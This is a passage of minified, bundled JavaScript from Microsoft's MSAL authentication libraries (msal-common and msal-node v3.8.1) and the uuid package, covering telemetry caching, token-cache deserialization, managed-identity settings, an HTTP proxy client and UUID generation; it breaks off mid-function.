A=this.getLastRequests(),K=mo.maxErrorsToSend(A),q=A.failedRequests.slice(0,2*K).join(X_.VALUE_SEPARATOR),Y=A.errors.slice(0,K).join(X_.VALUE_SEPARATOR),z=A.errors.length,w=K<z?X_.OVERFLOW_TRUE:X_.OVERFLOW_FALSE,H=[z,w].join(X_.VALUE_SEPARATOR);return[X_.SCHEMA_VERSION,A.cacheHits,q,Y,H].join(X_.CATEGORY_SEPARATOR)}cacheFailedRequest(A){let K=this.getLastRequests();if(K.errors.length>=X_.MAX_CACHED_ERRORS)K.failedRequests.shift(),K.failedRequests.shift(),K.errors.shift();if(K.failedRequests.push(this.apiId,this.correlationId),A instanceof Error&&!!A&&A.toString())if(A instanceof V5)if(A.subError)K.errors.push(A.subError);else if(A.errorCode)K.errors.push(A.errorCode);else K.errors.push(A.toString());else K.errors.push(A.toString());else K.errors.push(X_.UNKNOWN_ERROR);this.cacheManager.setServerTelemetry(this.telemetryCacheKey,K,this.correlationId);return}incrementCacheHits(){let A=this.getLastRequests();return A.cacheHits+=1,this.cacheManager.setServerTelemetry(this.telemetryCacheKey,A,this.correlationId),A.cacheHits}getLastRequests(){let A={failedRequests:[],errors:[],cacheHits:0};return this.cacheManager.getServerTelemetry(this.telemetryCacheKey)||A}clearTelemetryCache(){let A=this.getLastRequests(),K=mo.maxErrorsToSend(A),q=A.errors.length;if(K===q)this.cacheManager.removeItem(this.telemetryCacheKey,this.correlationId);else{let Y={failedRequests:A.failedRequests.slice(K*2),errors:A.errors.slice(K),cacheHits:0};this.cacheManager.setServerTelemetry(this.telemetryCacheKey,Y,this.correlationId)}}static maxErrorsToSend(A){let K,q=0,Y=0,z=A.errors.length;for(K=0;K<z;K++){let w=A.failedRequests[2*K]||u6.EMPTY_STRING,H=A.failedRequests[2*K+1]||u6.EMPTY_STRING,J=A.errors[K]||u6.EMPTY_STRING;if(Y+=w.toString().length+H.toString().length+J.length+3,Y<X_.MAX_LAST_HEADER_BYTES)q+=1;else break}return q}getRegionDiscoveryFields(){let A=[];return A.push(this.regionUsed||u6.EMPTY_STRING),A.push(this.regionSource||u6.EMPTY_STRING),A.push(this.regionOutcome||u6.EMPTY_STRING),A.join(",")}updateRegionDiscoveryMetadata(A){this.regionUsed=A.region_used,this.regionSource=A.region_source,this.regionOutcome=A.region_outcome}setCacheOutcome(A){this.cacheOutcome=A}setNativeBrokerErrorCode(A){let K=this.getLastRequests();K.nativeBrokerErrorCode=A,this.cacheManager.setServerTelemetry(this.telemetryCacheKey,K,this.correlationId)}getNativeBrokerErrorCode(){return this.getLastRequests().nativeBrokerErrorCode}clearNativeBrokerErrorCode(){let A=this.getLastRequests();delete A.nativeBrokerErrorCode,this.cacheManager.setServerTelemetry(this.telemetryCacheKey,A,this.correlationId)}static makeExtraSkuString(A){return e8Y(A)}}var o17=",",a17="|";var s17=k(()=>{zH();DC();/*! @azure/msal-common v15.13.1 2025-10-29 */});var p2=k(()=>{c17();l17();i17();dbA();CbA();TH1();KH1();TbA();E06();wH1();ho();G06();r17();YGA();nbA();fbA();tw1();ibA();RH1();DC();O06();HGA();H$();zX();Io();IU();zH();So();s17();t_A();LX6();fH1();xo();PKA();KGA();hX6();xH1();/*! @azure/msal-common v15.13.1 2025-10-29 */});class go{static deserializeJSONBlob(A){return!A?{}:JSON.parse(A)}static deserializeAccounts(A){let K={};if(A)Object.keys(A).map(function(q){let Y=A[q],z={homeAccountId:Y.home_account_id,environment:Y.environment,realm:Y.realm,localAccountId:Y.local_account_id,username:Y.username,authorityType:Y.authority_type,name:Y.name,clientInfo:Y.client_info,lastModificationTime:Y.last_modification_time,lastModificationApp:Y.last_modification_app,tenantProfiles:Y.tenantProfiles?.map((H)=>{return JSON.parse(H)}),lastUpdatedAt:Date.now().toString()},w=new J$;VKA.toObject(w,z),K[q]=w});return K}static deserializeIdTokens(A){let K={};if(A)Object.keys(A).map(function(q){let Y=A[q],z={homeAccountId:Y.home_account_id,environment:Y.environment,credentialType:Y.credential_type,clientId:Y.client_id,secret:Y.secret,realm:Y.realm,lastUpdatedAt:Date.now().toString()};K[q]=z});return K}static deserializeAccessTokens(A){let K={};if(A)Object.keys(A).map(function(q){let Y=A[q],z={homeAccountId:Y.home_account_id,environment:Y.environment,credentialType:Y.credential_type,clientId:Y.client_id,secret:Y.secret,realm:Y.realm,target:Y.target,cachedAt:Y.cached_at,expiresOn:Y.expires_on,extendedExpiresOn:Y.extended_expires_on,refreshOn:Y.refresh_on,keyId:Y.key_id,tokenType:Y.token_type,requestedClaims:Y.requestedClaims,requestedClaimsHash:Y.requestedClaimsHash,userAssertionHash:Y.userAssertionHash,lastUpdatedAt:Date.now().toString()};K[q]=z});return K}static deserializeRefreshTokens(A){let K={};if(A)Object.keys(A).map(function(q){let Y=A[q],z={homeAccountId:Y.home_account_id,environment:Y.environment,credentialType:Y.credential_type,clientId:Y.client_id,secret:Y.secret,familyId:Y.family_id,target:Y.target,realm:Y.realm,lastUpdatedAt:Date.now().toString()};K[q]=z});return K}static deserializeAppMetadata(A){let K={};if(A)Object.keys(A).map(function(q){let Y=A[q];K[q]={clientId:Y.client_id,environment:Y.environment,familyId:Y.family_id}});return K}static deserializeAllCache(A){return{accounts:A.Account?this.deserializeAccounts(A.Account):{},idTokens:A.IdToken?this.deserializeIdTokens(A.IdToken):{},accessTokens:A.AccessToken?this.deserializeAccessTokens(A.AccessToken):{},refreshTokens:A.RefreshToken?this.deserializeRefreshTokens(A.RefreshToken):{},appMetadata:A.AppMetadata?this.deserializeAppMetadata(A.AppMetadata):{}}}}var mH1=k(()=>{p2();/*! @azure/msal-node v3.8.1 2025-10-29 */});var bX6={};_q(bX6,{Serializer:()=>p7A,Deserializer:()=>go});var t17=k(()=>{rw1();mH1();/*! @azure/msal-node v3.8.1 2025-10-29 */});var e17="system_assigned_managed_identity",J4Y="managed_identity",xX6,tV,O$,hq,K5,DO,QH,gH1,A67="REGION_NAME",K67="MSAL_FORCE_REGION",q67=32,Y67,FH1,uX6,IM,mU,PC,QH1,z67=4096;var UH=k(()=>{p2();/*! @azure/msal-node v3.8.1 2025-10-29 */xX6=`https://login.microsoftonline.com/${J4Y}/`,tV={AUTHORIZATION_HEADER_NAME:"Authorization",METADATA_HEADER_NAME:"Metadata",APP_SERVICE_SECRET_HEADER_NAME:"X-IDENTITY-HEADER",ML_AND_SF_SECRET_HEADER_NAME:"secret"},O$={API_VERSION:"api-version",RESOURCE:"resource",SHA256_TOKEN_TO_REFRESH:"token_sha256_to_refresh",XMS_CC:"xms_cc"},hq={AZURE_POD_IDENTITY_AUTHORITY_HOST:"AZURE_POD_IDENTITY_AUTHORITY_HOST",DEFAULT_IDENTITY_CLIENT_ID:"DEFAULT_IDENTITY_CLIENT_ID",IDENTITY_ENDPOINT:"IDENTITY_ENDPOINT",IDENTITY_HEADER:"IDENTITY_HEADER",IDENTITY_SERVER_THUMBPRINT:"IDENTITY_SERVER_THUMBPRINT",IMDS_ENDPOINT:"IMDS_ENDPOINT",MSI_ENDPOINT:"MSI_ENDPOINT",MSI_SECRET:"MSI_SECRET"},K5={APP_SERVICE:"AppService",AZURE_ARC:"AzureArc",CLOUD_SHELL:"CloudShell",DEFAULT_TO_IMDS:"DefaultToImds",IMDS:"Imds",MACHINE_LEARNING:"MachineLearning",SERVICE_FABRIC:"ServiceFabric"},DO={SYSTEM_ASSIGNED:"system-assigned",USER_ASSIGNED_CLIENT_ID:"user-assigned-client-id",USER_ASSIGNED_RESOURCE_ID:"user-assigned-resource-id",USER_ASSIGNED_OBJECT_ID:"user-assigned-object-id"},QH={GET:"get",POST:"post"},gH1={SUCCESS_RANGE_START:P5.SUCCESS_RANGE_START,SUCCESS_RANGE_END:P5.SUCCESS_RANGE_END,SERVER_ERROR:P5.SERVER_ERROR},Y67={SHA256:"sha256"},FH1={CV_CHARSET:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~"},uX6={KEY_SEPARATOR:"-"},IM={MSAL_SKU:"msal.js.node",JWT_BEARER_ASSERTION_TYPE:"urn:ietf:params:oauth:client-assertion-type:jwt-bearer",AUTHORIZATION_PENDING:"authorization_pending",HTTP_PROTOCOL:"http://",LOCALHOST:"localhost"},mU={acquireTokenSilent:62,acquireTokenByUsernamePassword:371,acquireTokenByDeviceCode:671,acquireTokenByClientCredential:771,acquireTokenByCode:871,acquireTokenByRefreshToken:872},PC={RSA_256:"RS256",PSS_256:"PS256",X5T_256:"x5t#S256",X5T:"x5t",X5C:"x5c",AUDIENCE:"aud",EXPIRATION_TIME:"exp",ISSUER:"iss",SUBJECT:"sub",NOT_BEFORE:"nbf",JWT_ID:"jti"},QH1={INTERVAL_MS:100,TIMEOUT_MS:5000}});class obA{static getNetworkResponse(A,K,q){return{headers:A,body:K,status:q}}static urlToHttpOptions(A){let K={protocol:A.protocol,hostname:A.hostname&&A.hostname.startsWith("[")?A.hostname.slice(1,-1):A.hostname,hash:A.hash,search:A.search,pathname:A.pathname,path:`${A.pathname||""}${A.search||""}`,href:A.href};if(A.port!=="")K.port=Number(A.port);if(A.username||A.password)K.auth=`${decodeURIComponent(A.username)}:${decodeURIComponent(A.password)}`;return K}}var w67=k(()=>{/*! @azure/msal-node v3.8.1 2025-10-29 */});import BX6 from"http";import H67 from"https";class abA{constructor(A,K){this.proxyUrl=A||"",this.customAgentOptions=K||{}}async sendGetRequestAsync(A,K,q){if(this.proxyUrl)return J67(A,this.proxyUrl,QH.GET,K,this.customAgentOptions,q);else return O67(A,QH.GET,K,this.customAgentOptions,q)}async sendPostRequestAsync(A,K){if(this.proxyUrl)return J67(A,this.proxyUrl,QH.POST,K,this.customAgentOptions);else return O67(A,QH.POST,K,this.customAgentOptions)}}var J67=(A,K,q,Y,z,w)=>{let H=new URL(A),J=new URL(K),O=Y?.headers||{},X={host:J.hostname,port:J.port,method:"CONNECT",path:H.hostname,headers:O};if(z&&Object.keys(z).length)X.agent=new BX6.Agent(z);let $="";if(q===QH.POST){let G=Y?.body||"";$=`Content-Type: application/x-www-form-urlencoded\r Content-Length: ${G.length}\r \r ${G}`}else if(w)X.timeout=w;let _=`${q.toUpperCase()} ${H.href} HTTP/1.1\r Host: ${H.host}\r Connection: close\r `+$+`\r `;return new Promise((G,Z)=>{let W=BX6.request(X);if(w)W.on("timeout",()=>{W.destroy(),Z(Error("Request time out"))});W.end(),W.on("connect",(D,j)=>{let M=D?.statusCode||gH1.SERVER_ERROR;if(M<gH1.SUCCESS_RANGE_START||M>gH1.SUCCESS_RANGE_END)W.destroy(),j.destroy(),Z(Error(`Error connecting to proxy. Http status code: ${D.statusCode}. Http status message: ${D?.statusMessage||"Unknown"}`));j.write(_);let P=[];j.on("data",(f)=>{P.push(f)}),j.on("end",()=>{let N=Buffer.concat([...P]).toString().split(`\r `),T=parseInt(N[0].split(" ")[1]),C=N[0].split(" ").slice(2).join(" "),R=N[N.length-1],x=N.slice(1,N.length-2),y=new Map;x.forEach((Q)=>{let u=Q.split(new RegExp(/:\s(.*)/s)),d=u[0],r=u[1];try{let c=JSON.parse(r);if(c&&typeof c==="object")r=c}catch(c){}y.set(d,r)});let b=Object.fromEntries(y),F=obA.getNetworkResponse(b,X67(T,C,b,R),T);if((T<P5.SUCCESS_RANGE_START||T>P5.SUCCESS_RANGE_END)&&F.body.error!==IM.AUTHORIZATION_PENDING)W.destroy();G(F)}),j.on("error",(f)=>{W.destroy(),j.destroy(),Z(Error(f.toString()))})}),W.on("error",(D)=>{W.destroy(),Z(Error(D.toString()))})})},O67=(A,K,q,Y,z)=>{let w=K===QH.POST,H=q?.body||"",J=new URL(A),O=q?.headers||{},X={method:K,headers:O,...obA.urlToHttpOptions(J)};if(Y&&Object.keys(Y).length)X.agent=new H67.Agent(Y);if(w)X.headers={...X.headers,"Content-Length":H.length};else if(z)X.timeout=z;return new Promise(($,_)=>{let G;if(X.protocol==="http:")G=BX6.request(X);else G=H67.request(X);if(w)G.write(H);if(z)G.on("timeout",()=>{G.destroy(),_(Error("Request time out"))});G.end(),G.on("response",(Z)=>{let{headers:W,statusCode:D,statusMessage:j}=Z,M=[];Z.on("data",(P)=>{M.push(P)}),Z.on("end",()=>{let P=Buffer.concat([...M]).toString(),f=W,N=obA.getNetworkResponse(f,X67(D,j,f,P),D);if((D<P5.SUCCESS_RANGE_START||D>P5.SUCCESS_RANGE_END)&&N.body.error!==IM.AUTHORIZATION_PENDING)G.destroy();$(N)})}),G.on("error",(Z)=>{G.destroy(),_(Error(Z.toString()))})})},X67=(A,K,q,Y)=>{let z;try{z=JSON.parse(Y)}catch(w){let H,J;if(A>=P5.CLIENT_ERROR_RANGE_START&&A<=P5.CLIENT_ERROR_RANGE_END)H="client_error",J="A client";else if(A>=P5.SERVER_ERROR_RANGE_START&&A<=P5.SERVER_ERROR_RANGE_END)H="server_error",J="A server";else H="unknown_error",J="An unknown";z={error:H,error_description:`${J} error occured. Http status code: ${A} Http status message: ${K||"Unknown"} Headers: ${JSON.stringify(q)}`}}return z};var $67=k(()=>{p2();UH();w67();/*! @azure/msal-node v3.8.1 2025-10-29 */});var UH1="invalid_file_extension",pH1="invalid_file_path",Fo="invalid_managed_identity_id_type",dH1="invalid_secret",_67="missing_client_id",G67="network_unavailable",cH1="platform_not_supported",lH1="unable_to_create_azure_arc",iH1="unable_to_create_cloud_shell",nH1="unable_to_create_source",sbA="unable_to_read_secret_file",Z67="user_assigned_not_available_at_runtime",rH1="www_authenticate_header_missing",oH1="www_authenticate_header_unsupported_format",yKA;var IKA=k(()=>{UH();/*! @azure/msal-node v3.8.1 2025-10-29 */yKA={[hq.AZURE_POD_IDENTITY_AUTHORITY_HOST]:"azure_pod_identity_authority_host_url_malformed",[hq.IDENTITY_ENDPOINT]:"identity_endpoint_url_malformed",[hq.IMDS_ENDPOINT]:"imds_endpoint_url_malformed",[hq.MSI_ENDPOINT]:"msi_endpoint_url_malformed"}});function wX(A){return new mX6(A)}var O4Y,mX6;var XGA=k(()=>{p2();IKA();UH();/*! @azure/msal-node v3.8.1 2025-10-29 */O4Y={[UH1]:"The file path in the WWW-Authenticate header does not contain a .key file.",[pH1]:"The file path in the WWW-Authenticate header is not in a valid Windows or Linux Format.",[Fo]:"More than one ManagedIdentityIdType was provided.",[dH1]:"The secret in the file on the file path in the WWW-Authenticate header is greater than 4096 bytes.",[cH1]:"The platform is not supported by Azure Arc. Azure Arc only supports Windows and Linux.",[_67]:"A ManagedIdentityId id was not provided.",[yKA.AZURE_POD_IDENTITY_AUTHORITY_HOST]:`The Managed Identity's '${hq.AZURE_POD_IDENTITY_AUTHORITY_HOST}' environment variable is malformed.`,[yKA.IDENTITY_ENDPOINT]:`The Managed Identity's '${hq.IDENTITY_ENDPOINT}' environment variable is malformed.`,[yKA.IMDS_ENDPOINT]:`The Managed Identity's '${hq.IMDS_ENDPOINT}' environment variable is malformed.`,[yKA.MSI_ENDPOINT]:`The Managed Identity's '${hq.MSI_ENDPOINT}' environment variable is malformed.`,[G67]:"Authentication unavailable. The request to the managed identity endpoint timed out.",[lH1]:"Azure Arc Managed Identities can only be system assigned.",[iH1]:"Cloud Shell Managed Identities can only be system assigned.",[nH1]:"Unable to create a Managed Identity source based on environment variables.",[sbA]:"Unable to read the secret file.",[Z67]:"Service Fabric user assigned managed identity ClientId or ResourceId is not configurable at runtime.",[rH1]:"A 401 response was received form the Azure Arc Managed Identity, but the www-authenticate header is missing.",[oH1]:"A 401 response was received form the Azure Arc Managed Identity, but the www-authenticate header is in an unsupported format."};mX6=class mX6 extends V5{constructor(A){super(A,O4Y[A]);this.name="ManagedIdentityError",Object.setPrototypeOf(this,mX6.prototype)}}});class gX6{get id(){return this._id}set id(A){this._id=A}get idType(){return this._idType}set idType(A){this._idType=A}constructor(A){let K=A?.userAssignedClientId,q=A?.userAssignedResourceId,Y=A?.userAssignedObjectId;if(K){if(q||Y)throw wX(Fo);this.id=K,this.idType=DO.USER_ASSIGNED_CLIENT_ID}else if(q){if(K||Y)throw wX(Fo);this.id=q,this.idType=DO.USER_ASSIGNED_RESOURCE_ID}else if(Y){if(K||q)throw wX(Fo);this.id=Y,this.idType=DO.USER_ASSIGNED_OBJECT_ID}else this.id=e17,this.idType=DO.SYSTEM_ASSIGNED}}var W67=k(()=>{XGA();UH();IKA();/*! @azure/msal-node v3.8.1 2025-10-29 */});var X$,CJ;var tbA=k(()=>{p2();/*! @azure/msal-node v3.8.1 2025-10-29 */X$={invalidLoopbackAddressType:{code:"invalid_loopback_server_address_type",desc:"Loopback server address is not type string. This is unexpected."},unableToLoadRedirectUri:{code:"unable_to_load_redirectUrl",desc:"Loopback server callback was invoked without a url. This is unexpected."},noAuthCodeInResponse:{code:"no_auth_code_in_response",desc:"No auth code found in the server response. Please check your network trace to determine what happened."},noLoopbackServerExists:{code:"no_loopback_server_exists",desc:"No loopback server exists yet."},loopbackServerAlreadyExists:{code:"loopback_server_already_exists",desc:"Loopback server already exists. Cannot create another."},loopbackServerTimeout:{code:"loopback_server_timeout",desc:"Timed out waiting for auth code listener to be registered."},stateNotFoundError:{code:"state_not_found",desc:"State not found. Please verify that the request originated from msal."},thumbprintMissing:{code:"thumbprint_missing_from_client_certificate",desc:"Client certificate does not contain a SHA-1 or SHA-256 thumbprint."},redirectUriNotSupported:{code:"redirect_uri_not_supported",desc:"RedirectUri is not supported in this scenario. Please remove redirectUri from the request."}};CJ=class CJ extends V5{constructor(A,K){super(A,K);this.name="NodeAuthError"}static createInvalidLoopbackAddressTypeError(){return new CJ(X$.invalidLoopbackAddressType.code,`${X$.invalidLoopbackAddressType.desc}`)}static createUnableToLoadRedirectUrlError(){return new CJ(X$.unableToLoadRedirectUri.code,`${X$.unableToLoadRedirectUri.desc}`)}static createNoAuthCodeInResponseError(){return new CJ(X$.noAuthCodeInResponse.code,`${X$.noAuthCodeInResponse.desc}`)}static createNoLoopbackServerExistsError(){return new CJ(X$.noLoopbackServerExists.code,`${X$.noLoopbackServerExists.desc}`)}static createLoopbackServerAlreadyExistsError(){return new CJ(X$.loopbackServerAlreadyExists.code,`${X$.loopbackServerAlreadyExists.desc}`)}static createLoopbackServerTimeoutError(){return new CJ(X$.loopbackServerTimeout.code,`${X$.loopbackServerTimeout.desc}`)}static createStateNotFoundError(){return new CJ(X$.stateNotFoundError.code,X$.stateNotFoundError.desc)}static createThumbprintMissingError(){return new CJ(X$.thumbprintMissing.code,X$.thumbprintMissing.desc)}static createRedirectUriNotSupportedError(){return new CJ(X$.redirectUriNotSupported.code,X$.redirectUriNotSupported.desc)}}});function D67({auth:A,broker:K,cache:q,system:Y,telemetry:z}){let w={..._4Y,networkClient:new abA(Y?.proxyUrl,Y?.customAgentOptions),loggerOptions:Y?.loggerOptions||FX6,disableInternalRetries:Y?.disableInternalRetries||!1};if(!!A.clientCertificate&&!A.clientCertificate.thumbprint&&!A.clientCertificate.thumbprintSha256)throw CJ.createStateNotFoundError();return{auth:{...X4Y,...A},broker:{...K},cache:{...$4Y,...q},system:{...w,...Y},telemetry:{...G4Y,...z}}}function j67({clientCapabilities:A,managedIdentityIdParams:K,system:q}){let Y=new gX6(K),z=q?.loggerOptions||FX6,w;if(q?.networkClient)w=q.networkClient;else w=new abA(q?.proxyUrl,q?.customAgentOptions);return{clientCapabilities:A||[],managedIdentityId:Y,system:{loggerOptions:z,networkClient:w},disableInternalRetries:q?.disableInternalRetries||!1}}var X4Y,$4Y,FX6,_4Y,G4Y;var QX6=k(()=>{p2();$67();W67();tbA();/*! @azure/msal-node v3.8.1 2025-10-29 */X4Y={clientId:u6.EMPTY_STRING,authority:u6.DEFAULT_AUTHORITY,clientSecret:u6.EMPTY_STRING,clientAssertion:u6.EMPTY_STRING,clientCertificate:{thumbprint:u6.EMPTY_STRING,thumbprintSha256:u6.EMPTY_STRING,privateKey:u6.EMPTY_STRING,x5c:u6.EMPTY_STRING},knownAuthorities:[],cloudDiscoveryMetadata:u6.EMPTY_STRING,authorityMetadata:u6.EMPTY_STRING,clientCapabilities:[],protocolMode:gD.AAD,azureCloudOptions:{azureCloudInstance:RU.None,tenant:u6.EMPTY_STRING},skipAuthorityMetadataCache:!1,encodeExtraQueryParams:!1},$4Y={claimsBasedCachingEnabled:!1},FX6={loggerCallback:()=>{},piiLoggingEnabled:!1,logLevel:WO.Info},_4Y={loggerOptions:FX6,networkClient:new abA,proxyUrl:u6.EMPTY_STRING,customAgentOptions:{},disableInternalRetries:!1},G4Y={application:{appName:u6.EMPTY_STRING,appVersion:u6.EMPTY_STRING}}});var UX6=v((M67)=>{Object.defineProperty(M67,"__esModule",{value:!0});M67.default=D4Y;var Z4Y=W4Y(CA("crypto"));function W4Y(A){return A&&A.__esModule?A:{default:A}}var sH1=new Uint8Array(256),aH1=sH1.length;function D4Y(){if(aH1>sH1.length-16)Z4Y.default.randomFillSync(sH1),aH1=0;return sH1.slice(aH1,aH1+=16)}});var f67=v((P67)=>{Object.defineProperty(P67,"__esModule",{value:!0});P67.default=void 0;var M4Y=/^(?:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}|00000000-0000-0000-0000-000000000000)$/i;P67.default=M4Y});var ebA=v((N67)=>{Object.defineProperty(N67,"__esModule",{value:!0});N67.default=void 0;var P4Y=V4Y(f67());function V4Y(A){return A&&A.__esModule?A:{default:A}}function f4Y(A){return typeof A==="string"&&P4Y.default.test(A)}var N4Y=f4Y;N67.default=N4Y});var AxA=v((v67)=>{Object.defineProperty(v67,"__esModule",{value:!0});v67.default=void 0;var T4Y=v4Y(ebA());function v4Y(A){return A&&A.__esModule?A:{default:A}}var nZ=[];for(let A=0;A<256;++A)nZ.push((A+256).toString(16).substr(1));function E4Y(A,K=0){let q=(nZ[A[K+0]]+nZ[A[K+1]]+nZ[A[K+2]]+nZ[A[K+3]]+"-"+nZ[A[K+4]]+nZ[A[K+5]]+"-"+nZ[A[K+6]]+nZ[A[K+7]]+"-"+nZ[A[K+8]]+nZ[A[K+9]]+"-"+nZ[A[K+10]]+nZ[A[K+11]]+nZ[A[K+12]]+nZ[A[K+13]]+nZ[A[K+14]]+nZ[A[K+15]]).toLowerCase();if(!(0,T4Y.default)(q))throw TypeError("Stringified UUID is invalid");return q}var k4Y=E4Y;v67.default=k4Y});var y67=v((L67)=>{Object.defineProperty(L67,"__esModule",{value:!0});L67.default=void 0;var C4Y=C67(UX6()),L4Y=C67(AxA());function C67(A){return A&&A.__esModule?A:{default:A}}var k67,pX6,dX6=0,cX6=0;function R4Y(A,K,q){let Y=K&&q||0,z=K||Array(16);A=A||{};let w=A.node||k67,H=A.clockseq!==void 0?A.clockseq:pX6;if(w==null||H==null){let G=A.random||(A.rng||C4Y.default)();if(w==null)w=k67=[G[0]|1,G[1],G[2],G[3],G[4],G[5]];if(H==null)H=pX6=(G[6]<<8|G[7])&16383}let J=A.msecs!==void 0?A.msecs:Date.now(),O=A.nsecs!==void 0?A.nsecs:cX6+1,X=J-dX6+(O-cX6)/1e4;if(X<0&&A.clockseq===void 0)H=H+1&16383;if((X<0||J>dX6)&&A.nsecs===void 0)O=0;if(O>=1e4)throw Error("uuid.v1(): Can't create more than 10M uuids/sec");dX6=J,cX6=O,pX6=H,J+=12219292800000;let $=((J&268435455)*1e4+O)%4294967296;z[Y++]=$>>>24&255,z[Y++]=$>>>16&255,z[Y++]=$>>>8&255,z[Y++]=$&255;let _=J/4294967296*1e4&268435455;z[Y++]=_>>>8&255,z[Y++]=_&255,z[Y++]=_>>>24&15|16,z[Y++]=_>>>16&255,z[Y++]=H>>>8|128,z[Y++]=H&255;for(let G=0;G<6;++G)z[Y+G]=w[G];return K||(0,L4Y.default)(z)}var y4Y=R4Y;L67.default=y4Y});var lX6=v((I67)=>{Object.defineProperty(I67,"__esModule",{value:!0});I67.default=void 0;var I4Y=S4Y(ebA());function S4Y(A){return A&&A.__esModule?A:{default:A}}function h4Y(A){if(!(0,I4Y.default)(A))throw TypeError("Invalid UUID");let K,q=new Uint8Array(16);return q[0]=(K=parseInt(A.slice(0,8),16))>>>24,q[1]=K>>>16&255,q[2]=K>>>8&255,q[3]=K&255,q[4]=(K=parseInt(A.slice(9,13),16))>>>8,q[5]=K&255,q[6]=(K=parseInt(A.slice(14,18),16))>>>8,q[7]=K&255,q[8]=(K=parseInt(A.slice(19,23),16))>>>8,q[9]=K&255,q[10]=(K=parseInt(A.slice(24,36),16))/1099511627776&255,q[11]=K/4294967296&255,q[12]=K>>>24&255,q[13]=K>>>16&255,q[14]=K>>>8&255,q[15]=K&255,q}var b4Y=h4Y;I67.default=b4Y});var iX6=v((u67)=>{Object.defineProperty(u67,"__esModule",{value:!0});u67.default=m4Y;u67.URL=u67.DNS=void 0;var x4Y=h67(AxA()),u4Y=h67(lX6());function h67(A){return A&&A.__esModule?A:{default:A}}function B4Y(A){A=unescape(encodeURIComponent(A));let K=[];for(let q=0;q<A.length;++q)K.push(A.charCodeAt(q));return K}var b67="6ba7b810-9dad-11d1-80b4-00c04fd430c8";u67.DNS=b67;var x67="6ba7b811-9dad-11d1-80b4-00c04fd430c8";u67.URL=x67;function m4Y(A,K,q){function Y(z,w,H,J){if(typeof z==="string")z=B4Y(z);if(typeof w==="string")w=(0,u4Y.default)(w);if(w.length!==16)throw TypeError("Namespace must be array-like (16 iterable integer values, 0-255)");let O=new Uint8Array(16+z.length);if(O.set(w),O.set(z,w.length),O=q(O),O[6]=O[6]&15|K,O[8]=O[8]&63|128,H){J=J||0;for(let X=0;X<16;++X)H[J+X]=O[X];return H}return(0,x4Y.default)(O)}try{Y.name=A}catch(z){}return Y.DNS=b67,Y.URL=x67,Y}});var F67=v((m67)=>{Object.defineProperty(m67,"__esModule",{value:!0});m67.default=void 0;var Q4Y=U4Y(CA("crypto"));function U4Y(A){return A&&A.__esModule?A:{default:A}}function p4Y(A){if(Array.isArray(A))A=Buffer.from(A);else if(typeof A==="string")A=Buffer.from(A,"utf8");return Q4Y.default.createHash("md5").update(A).digest()}var d4Y=p4Y;m67.default=d4Y});var d67=v((U67)=>{Object.defineProperty(U67,"__esModule",{value:!0});U67.default=void 0;var c4Y=Q67(iX6()),l4Y=Q67(F67());function Q67(A){return A&&A.__esModule?A:{default:A}}var i4Y=(0,c4Y.default)("v3",48,l4Y.default),n4Y=i4Y;U67.default=n4Y});var n67=v((l67)=>{Object.defineProperty(l67,"__esModule",{value:!0});l67.default=void 0;var r4Y=c67(UX6()),o4Y=c67(AxA());function c67(A){return A&&A.__esModule?A:{default:A}}function a4Y(A,K,q){A=A||{};let Y=A.random||(A.rng||r4Y.default)();if(Y[6]=Y[6]&15|64,Y[8]=Y[8]&63|128,K){q=q||0;for(let z=0;z<16;++z)K[q+z]=Y[z];return K}return(0,o4Y.default)(Y)}var s4Y=a4Y;l67.default=s4Y});var a67=v((r67)=>{Object.defineProperty(r67,"__esModule",{value:!0});r67.default=void 0;var t4Y=e4Y(CA("crypto"));function e4Y(A){return A&&A.__esModule?A:{default:A}}function A7Y(A){if(Array.isArray(A))A=Buffer.from(A);else if(typeof A==="string")A=Buffer.from(A,"utf8");return t4Y.default.createHash("sha1").update(A).digest()}var K7Y=A7Y;r67.default=K7Y});var A87=v((t67)=>{Object.defineProperty(t67,"__esModule",{value:!0});t67.default=void 0;var q7Y=s67(iX6()),Y7Y=s67(a67());function s67(A){return A&&A.__esModule?A:{default:A}}var z7Y=(0,q7Y.default)("v5",80,Y7Y.default),w7Y=z7Y;t67.default=w7Y});var Y87=v((K87)=>{Object.defineProperty(K87,"__esModule",{value:!0});K87.default=void 0;var H7Y="00000000-0000-0000-0000-000000000000";K87.default=H7Y});var H87=v((z87)=>{Object.defineProperty(z87,"__esModule",{value:!0});z87.default=void 0;var J7Y=O7Y(ebA());function O7Y(A){return A&&A.__esModule?A:{default:A}}function X7Y(A){if(!(0,J7Y.default)(A))throw TypeError("Invalid UUID");return parseInt(A.substr(14,1),16)}var $7Y=X7Y;z87.default=$7Y});var J87=v((OI)=>{Object.defineProperty(OI,"__esModule",{value:!0});Object.defineProperty(OI,"v1",{enumerable:!0,get:function(){return _7Y.default}});Object.defineProperty(OI,"v3",{enumerable:!0,get:function(){return G7Y.default}});Object.defineProperty(OI,"v4",{enumerable:!0,get:function(){return Z7Y.default}});Object.defineProperty(OI,"v5",{enumerable:!0,get:function(){return W7Y.default}});Object.defineProperty(OI,"NIL",{enumerable:!0,get:function(){return D7Y.default}});Object.defineProperty(OI,"version",{enumerable:!0,get:function(){return j7Y.default}});Object.defineProperty(OI,"validate",{enumerable:!0,get:function(){return M7Y.default}});Object.defineProperty(OI,"stringify",{enumerable:!0,get:function(){return P7Y.default}});Object.defineProperty(OI,"parse",{enumerable:!0,get:function(){return V7Y.default}});var _7Y=gU(y67()),G7Y=gU(d67()),Z7Y=gU(n67()),W7Y=gU(A87()),D7Y=gU(Y87()),j7Y=gU(H87()),M7Y=gU(ebA()),P7Y=gU(AxA()),V7Y=gU(lX6());function gU(A){return A&&A.__esModule?A:{default:A}}});var Cu,WBw,DBw,O87,jBw,MBw,PBw,VBw,fBw,NBw;var X87=k(()=>{Cu=o(J87(),1),WBw=Cu.default.v1,DBw=Cu.default.v3,O87=Cu.default.v4,jBw=Cu.default.v5,MBw=Cu.default.NIL,PBw=Cu.default.version,VBw=Cu.default.validate,fBw=Cu.default.stringify,NBw=Cu.default.parse});class KxA{generateGuid(){return O87()}isGuid(A){return/^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(A)}}var nX6=k(()=>{X87();/*! @azure/msal-node v3.8.1 2025-10-29 */});class eV{static base64Encode(A,K){return 